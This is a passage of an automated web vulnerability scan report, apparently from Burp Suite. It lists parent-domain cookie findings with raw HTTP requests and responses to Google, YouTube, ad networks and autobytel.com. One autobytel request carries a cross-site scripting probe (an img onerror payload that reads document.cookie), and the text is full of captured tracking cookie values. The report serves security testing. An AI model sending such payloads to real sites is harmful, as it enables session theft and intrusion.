050310340slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc000000040o03050310440uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 02:05:03 GMT; Path=/ Location: http://r.openx.net/set?pid=1c6323e9-0811-5464-3af4-c00f47248395&rtb=6ch47d7o8wtv Content-Length: 0 Date: Tue, 25 Jan 2011 02:05:02 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /watch HTTP/1.1 Host: il.youtube.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 303 See Other Date: Mon, 24 Jan 2011 22:36:38 GMT Server: wiseguy/0.6.7 Content-Length: 0 X-Content-Type-Options: nosniff Set-Cookie: use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com Set-Cookie: VISITOR_INFO1_LIVE=oSlc8a237Qg; path=/; domain=.youtube.com; expires=Wed, 21-Sep-2011 22:36:38 GMT Set-Cookie: GEO=76ddae6b596d22d70649c3f298d7779ecwsAAAAzVVOtwdbzTT3+9g==; path=/; domain=.youtube.com Expires: Tue, 27 Apr 1971 19:44:06 EST Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Location: http://www.youtube.com/das_captcha?next=http%3A%2F%2Fil.youtube.com%2Fwatch&ytsession=9CCes4D_KlNIl7SiPulxyCata5FvenJFf1wQWKCp1FfowW4Ruca5frrRInIZHQDHadMY2zzc7eC949j37txZqBMfbtlMX76yyqg5YaUJdpArzok6qvSJGE2qJmTQ9us2_jirFmCfOuioCIHWzOYfDjeH5EK1C8wyNCA6uBNcN2zBzk-rtHd9cUnRz_cypFXxyGkfU6vqIN2wK124Rc1nHvt5kfu7275zZvGpAhvL8mAbr918TS_LFBmxlw8xwHA5YsyHQat_Or43vMW4bg-eXOa17nSCXUzcfvry5x_x-4tgaww7-soXyA Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /images HTTP/1.1 Host: images.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://images.google.com/imghp"> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: iphone.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /gateway/gw.js?csid=K04491 HTTP/1.1 Host: js.revsci.net Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; udm_0=MLvv8iMJPj5n556Bo8jwxg27aVMsKvlZeh88v6LFxvi6NShB6ZO83AmHuP4JgK9bvgpJZgsqUaP2xfTnxNPh9+fmSEPkCVwJX705HIrDAdU6h9yhStmEjquZrguVeF3r0KH2OzLBVWAxUkwC4gAcARichgtw510EVacnhilf+8mRFAtdqKZBM6NUyjil0ZdVPRDqI+Ti+FIe6fewtlE9GinOst7C+rlOGLcLpjRwr3ZfMSayOJgkjwJdHiBSJ9kAcsoTnnNvaA7Xcb0oB88geiObO0gCWiOMGKuhN5NhpXa5wNJrUpjtCGmrVtVPNsrxL9ryWzajTucvw6SIgD8tYcWt49xZgaknzfQMm4nMuUr+qb1f+Ms3ek2Rc8bT/TWEYTevTxXB1YSJNhNpyO+5lLFTcDcxf+duWIK8eU0eIZAncGmWmIMN2HAprOXDL92vjPG5GfbTEfgpUERmJC38xypT/U/eZtb2YBNcle27OeZkVpQY88kycEdRsS0Ks4HLd9MJ6YiDUxLI3FUlyF0iCBOApuRiSn2zDur8XA1O6kZwXMP/vqnO/qlcm8YSMQteDyI8xTLOkrtw5XuzDTiehCDdIT5AUFXEVikG1xbWOf61/rLXUN710OVSlXuiKpp7slVOdtdIlvK5Ef2r/dR4A+dOCYr8QFU/PgPleGbyIL5+FSmkfzlkK9kpSlXIgokpHC3DmN7FSnZ4W681z5mM3+bkQyAQa1deCg6dY3j8xQBsPgkVRyyliBZ/BT5AfFB6Kt2bfoD+HZA9FOS08BLyiny5VyDBbEms9liC5Fs3TFj1lR+RyszTbus6ezqbVXF77t83kYCDwMJ+4srH8tO8ZoaqbVgfKSopwI144BcK1RceyhLfvKeO2mls6933wcTzEXOpWYxsjrgl5Q==; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==
//Vermont-12.4.0-1012 var rsi_now= new Date(); var rsi_csid= 'K04491';if(typeof(csids)=="undefined"){var csids=[rsi_csid];}else{csids.push(rsi_csid);};function rsiClient(Da){this._rsiaa=Da;this._rsiba ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: justinbieber.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cmadj/cm.martini/ HTTP/1.1 Host: k.collective-media.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 7047 Date: Tue, 25 Jan 2011 16:30:36 GMT Connection: close Set-Cookie: JY57=CT; expires=Tue, 22-Feb-2011 16:30:36 GMT; path=/; domain=.collective-media.net Set-Cookie: cli=11de1c500e0115c; domain=collective-media.net; path=/; expires=Thu, 24-Jan-2013 16:30:36 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh/v/x3d76/x26 HTTP/1.1 Host: khm0.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=a90843375ef24eb2:TM=1295973379:LM=1295973379:S=y00SfeV21WdWqUTv; expires=Thu, 24-Jan-2013 16:36:19 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Date: Tue, 25 Jan 2011 16:36:19 GMT Server: btfe Content-Length: 1368 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh/v/x3d76/x26 HTTP/1.1 Host: khm1.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=cf9e7ea08ee15b44:TM=1295973396:LM=1295973396:S=r_nSTLT0WyjGau-L; expires=Thu, 24-Jan-2013 16:36:36 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Date: Tue, 25 Jan 2011 16:36:36 GMT Server: btfe Content-Length: 1368 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh HTTP/1.1 Host: khmdb0.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=a7f10d14c4f00411:TM=1295973412:LM=1295973412:S=4E7KVheBazHuNfU4; expires=Thu, 24-Jan-2013 16:36:52 GMT; path=/; domain=.google.com Date: Tue, 25 Jan 2011 16:36:52 GMT Server: btfe Content-Length: 1356 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh HTTP/1.1 Host: khmdb1.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=bb0c184c4092797e:TM=1295973518:LM=1295973518:S=TQ6x1q9xqq1iW1xq; expires=Thu, 24-Jan-2013 16:38:38 GMT; path=/; domain=.google.com Date: Tue, 25 Jan 2011 16:38:38 GMT Server: btfe Content-Length: 1356 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adcedge/lb?site=695501&srvc=1&betr=autobytel_cs=1&betq=10221=416162 HTTP/1.1 Host: leadback.advertising.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ACID=Bc330012940999670074; F1=BQiz50kAAAAAjM7CAEAAgEABAAAABAAAAEAAgEA; BASE=YnQIr9MmSf+Tkd8dWtCeW84rjjGaJlmHvEh5gB4KT4ggqyea2eW/3YWKVm/y2YMyTPzWzWqPEc0KmqQBlyv1AitvC52k1WFp+ZY63fzJnhGhJ9szxwHZQnZLI364iQjUbvvTIm5HoBJ/dvG!; ROLL=v5Q2V0M7N+zqILE!; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; C2=6bbPNJpwIg02FAHCdbdBwhgohXAcwOoAM/oBeK7YDwAoGW8r1VQcKa4qGKGBI9YBlP53FkL3Fx6gPbw6TVE0su2B/0mxdC; GUID=MTI5NTg5MDE3MDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 24 Jan 2011 21:06:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Set-Cookie: C2=inePNJpwIg02FVGCdbdRlhgohXUZwOoAM/oRTK7YDwAoGr7r1VQcKaMoGKGBI9YRaP53FkL3FG6gPbw6TVYxsu2B/0mBTea7IIaWGAH; domain=advertising.com; expires=Wed, 23-Jan-2013 21:06:42 GMT; path=/ Set-Cookie: GUID=MTI5NTkwMzIwMjsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; domain=advertising.com; expires=Wed, 23-Jan-2013 21:06:42 GMT; path=/ Set-Cookie: DBC=; domain=advertising.com; expires=Thu, 01-Jan-1970 00:00:00 GMT; path=/ Cache-Control: private, max-age=3600 Expires: Mon, 24 Jan 2011 22:06:42 GMT Content-Type: image/gif Content-Length: 49
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /load/?p=245&g=001&c=285379&ctg=Automotive&cmake=&cmodel=&new=yes&type=&ins=no HTTP/1.1 Host: loadus.exelator.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: xltl=eJxLtDK0qi62MrZSCvV0UbIGsoyslEwSE02STSwtzRPNU03MkiwsktMMUpItzCzSkgwtTFMNlKxrAa8pD0k%253D; myPAL=eJxLtDK2qs60MrAutjIyt1IyNDGzVLa0tDRUNjQwUTYwM1AOATJ8gSJGStaZVoYgZWYgZeamUGXmBsoGBoZAZeYGMFVGcMPgqjANqwUAip0atg%253D%253D; BFF=eJxLtDKxqi62MjSwUgoxNDDxdbC0tDRSss60MjQxN7UGShhbKfn6%252B4V4%252BETGh3kGe4YoWSdameLSYmYJ1GIKFUcSQlFrjCRhCRI3N0C31QQiDBepxW4EWC1WI2oBnuw0eQ%253D%253D; TFF=eJyNj7ENgDAMBHdhgncIsew0GYM2RQokOugQu2MoKAKIFNa7uHvps4pui5LTjuATApKIuC5mdbpNStHO82CB6w0S9wdPJ99XvLPrK49vrc2whG%252FvLmOZ81q%252Buv3bCkYC6Ge1vU%252F%252BczVVHt9am2HJaCL3AyAZcuM%253D
Response
HTTP/1.1 200 OK X-Cnection: close X-Powered-By: PHP/5.2.1 P3P: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA Content-Type: application/x-javascript Set-Cookie: xltl=eJxLtDKyqi62MrZSCvV0UbIGsoyslEwSE02STSwtzRPNU03MkiwsktMMUpItzCzSkgwtTFMNwOqslHyCnJWsM60MTSxMDSzNzKxrASUcFEk%253D; expires=Tue, 24-May-2011 21:06:41 GMT; path=/; domain=.exelator.com Set-Cookie: myPAL=eJxtzL0OwjAMRtF3iVcPtvPj2pkKLEiEAVWoK2NnRsS7k1bQic2yzncfnvy1ONWni3rgVAzMjIEpARWCqR%252BtfyTUxXllZWWav0wJiLgzpZ%252BSPbarf7HYWdpiQwYZclTDSKJ9JClv1fEw4fl6x1ub8XhpOJ7mUN8fByon7A%253D%253D; expires=Fri, 25-Mar-2011 21:06:41 GMT; path=/; domain=.exelator.com Set-Cookie: BFF=eJytkb0OwiAUhd%252BFJ%252BBXCiytOtik1ERJo5Pp6Oxo%252Bu7eUjXYXAYS1%252B8cvpbDaJm0z4dl1JLAqPS1MYYTdweulYNAWOKPfTh019vQnttA3Gg5zZ3ZGDij3jxBP12RBGbmmq4%252FKxec%252FggYmm2oeaWENktQzYGIPAGfpqBca7UK2n5AFcCRJqo4%252BQuqAI40GdxXcyRA3bvOo27gSBNVNHvELSL%252Fggl%252FkTh05kWy%252B5fPXb7uH8cs3W56Ab%252BfvsY%253D; expires=Tue, 24-May-2011 21:06:41 GMT; path=/; domain=.exelator.com Set-Cookie: TFF=eJydkDEOwzAIRe%252BSEwC2g8FLjtHVQ4ZK3dotyt1LWjWRnKRFHRDIeg%252FxXRWTTndF0g4hDtDDICLUlaqk01WxWEVO1uA19lLmHY8LHxqerELj8ar5DOsQ%252FbvHy3irj7HZnT%252FGYQqGAQB%252FpLZxz5%252BmxsbjVfMZ1hmcu5ebKKazDHnLkN983HjKKbCc%252FRZ%252BMVEkMP1jBiDm5DV5FX2GvcXkIucn21jBjA%253D%253D; expires=Tue, 24-May-2011 21:06:41 GMT; path=/; domain=.exelator.com Set-Cookie: EVX=deleted; expires=Sun, 24-Jan-2010 21:06:40 GMT; path=/; domain=load.exelator.com Set-Cookie: EVX=deleted; expires=Sun, 24-Jan-2010 21:06:40 GMT; path=/; domain=loadus.exelator.com Set-Cookie: EVX=eJxLtDKyqs60MrIwNTa3tE60MgTxDKyLrQwtrJQMTSxM483jjUxM4w0MDOOBUMm6NtPK2MDI3NyUKMW1ALLGGNA%253D; expires=Tue, 24-May-2011 21:06:41 GMT; path=/; domain=.exelator.com Date: Mon, 24 Jan 2011 21:06:41 GMT Server: HTTP server Content-Length: 975
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps HTTP/1.1 Host: maps-api-ssl.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps/place?hl\\x3den\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3daub\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3daub\\x26amp;cid\\x3d7028149978956142856\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /w/pg?cont_id=11&d=f&no_cj_c=0&upsid=517004695355 HTTP/1.1 Host: media.fastclick.net Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pluto2=613465378701; zru=1|:1294800534|; lxc=AgAAAASMFi1NACAABHVydDE3IAfgBAADMwAAluAUHwEAAA==; lyc=BQAAAARmvzBNACAAARhFIASgAAaUMwAANhwpYBcBvUSgFCAABA49AAAZ4AoXQAABiw7gCS8ADSAvwAABaVrACSAAAksAAA==; pluto=613465378701
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /w/tre?ad_id=23145;evt=15951;cat1=19199;cat2=19200 HTTP/1.1 Host: media.fastclick.net Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pluto2=613465378701; zru=1|:1294800534|; lxc=AgAAAASMFi1NACAABHVydDE3IAfgBAADMwAAluAUHwEAAA==; lyc=BQAAAAQ2HClNACAAAb1EIASgAAQOPQAAGeAKF0AAAYsO4AkvAA0gLwJJvzBgRwEYRUAlgAABlDOAB0AA4AUXAQAA; pluto=613465378701
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /w/win.bid?sid=54816&m=1&t=n&tp=5&d=f&mid=477674&EIC=1102509515205556&vch=554879014744&sys=3&evert=498003&vtid=14839&cb=1398482484&asite=2061501907&txid=9eb0b645-887a-48fe-96d9-a8ec0d65be5c&UD=CQAA7FD8nj1AEQAAAID1_gM-GQAAACBWDx8-KAAwAQ&wp=TT4pUwACvIcK5XsjKRZgBOX45riQQ1x_qFMGTg&walsh=http://adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBhNNGUyk-TYf5CqP2lQeEwNnIAqmp2NwBybvEzxX5pf__EQAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi0xMTg5MzcwNDA4OTk4NTU1oAGb5-foA7IBDmpvb21sYWNvZGUub3JnugEJNzI4eDkwX2FzyAEJ2gEyaHR0cDovL2pvb21sYWNvZGUub3JnL2dmL3Byb2plY3Qvam9vbWxhL3JlcG9ydGluZy-YAgrAAgTIAr23iA7gAgDqAhdKb29tbGFfSm9vbWxhY29kZUZvb3RlcqgDAegD8gPoA6gG6AM16AO5AugD2gX1AwAAAET1AwIAAADgBAE%26num%3D1%26sig%3DAGiWqtxXfy71xAYmo2tqD6PMiVjHwATbrg%26client%3Dca-pub-1189370408998555%26adurl%3D HTTP/1.1 Host: media.fastclick.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: zru=1|:1294800534|; lxc=AgAAAASMFi1NACAABHVydDE3IAfgBAADMwAAluAUHwEAAA==; lyc=BQAAAARmvzBNACAAARhFIASgAAaUMwAANhwpYBcBvUSgFCAABA49AAAZ4AoXQAABiw7gCS8ADSAvwAABaVrACSAAAksAAA==; pluto=517004695355|v1
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; Expires=Sat, 23 Jan 2016 21:06:45 GMT; Domain=.autobytel.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/autobytelcorp/1/H.5-pdv-2/s1332017967011?[AQB]&ndh=1&t=24/0/2011%2015%3A7%3A27%201%20360&pageName=unknown&g=http%3A//www.autobytel.com/x22&r=http%3A//burp/show/31&cc=USD&server=CWEB425&events=event10&products=%3B%3B%3B%3Bevent10%3D0&c1=Search%20Engine%20Optimization%20Project&v1=Search%20Engine%20Optimization%20Project&c2=SEO%20DTS%20-%20Google%20ABTL%2013148&v2=SEO%20DTS%20-%20Google%20ABTL%2013148&v3=NT-&v6=Search%20Engine%20Optimization%20Project%20%3A%20unknown&c10=%7C&c11=Search%20Engine%20Optimization%20Project%7C13148%7CABTL&c12=%7C%7C&c14=unknown%20%3A%20Search%20Engine%20Optimization%20Project%20entry%20page&c15=%7CNo%20Article&c20=%7C%7C%7C%7C%7C%7CSearch%20Engine%20Optimization%20Project&c21=Autobytel.com&c32=ads%20-%200&c34=Google%20Search%7Ef34b4--%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document.cookie%29%3Ef067754e5c4&c40=427D360F-AD19-8945-2CEDA65620083A33&c42=UpperFunnel&s=1920x1200&c=16&j=1.3&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&[AQE] HTTP/1.1 Host: metrics.autobytel.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true
Response
HTTP/1.1 302 Found Date: Mon, 24 Jan 2011 21:06:45 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; Expires=Sat, 23 Jan 2016 21:06:45 GMT; Domain=.autobytel.com; Path=/ Location: http://metrics.autobytel.com/b/ss/autobytelcorp/1/H.5-pdv-2/s1332017967011?AQB=1&pccr=true&vidn=269EF4F28501182F-60000108600B027D&&ndh=1&t=24/0/2011%2015%3A7%3A27%201%20360&pageName=unknown&g=http%3A//www.autobytel.com/x22&r=http%3A//burp/show/31&cc=USD&server=CWEB425&events=event10&products=%3B%3B%3B%3Bevent10%3D0&c1=Search%20Engine%20Optimization%20Project&v1=Search%20Engine%20Optimization%20Project&c2=SEO%20DTS%20-%20Google%20ABTL%2013148&v2=SEO%20DTS%20-%20Google%20ABTL%2013148&v3=NT-&v6=Search%20Engine%20Optimization%20Project%20%3A%20unknown&c10=%7C&c11=Search%20Engine%20Optimization%20Project%7C13148%7CABTL&c12=%7C%7C&c14=unknown%20%3A%20Search%20Engine%20Optimization%20Project%20entry%20page&c15=%7CNo%20Article&c20=%7C%7C%7C%7C%7C%7CSearch%20Engine%20Optimization%20Project&c21=Autobytel.com&c32=ads%20-%200&c34=Google%20Search%7Ef34b4--%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document.cookie%29%3Ef067754e5c4&c40=427D360F-AD19-8945-2CEDA65620083A33&c42=UpperFunnel&s=1920x1200&c=16&j=1.3&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 X-C: ms-4.3.1 Expires: Sun, 23 Jan 2011 21:06:45 GMT Last-Modified: Tue, 25 Jan 2011 21:06:45 GMT Cache-Control: no-cache, 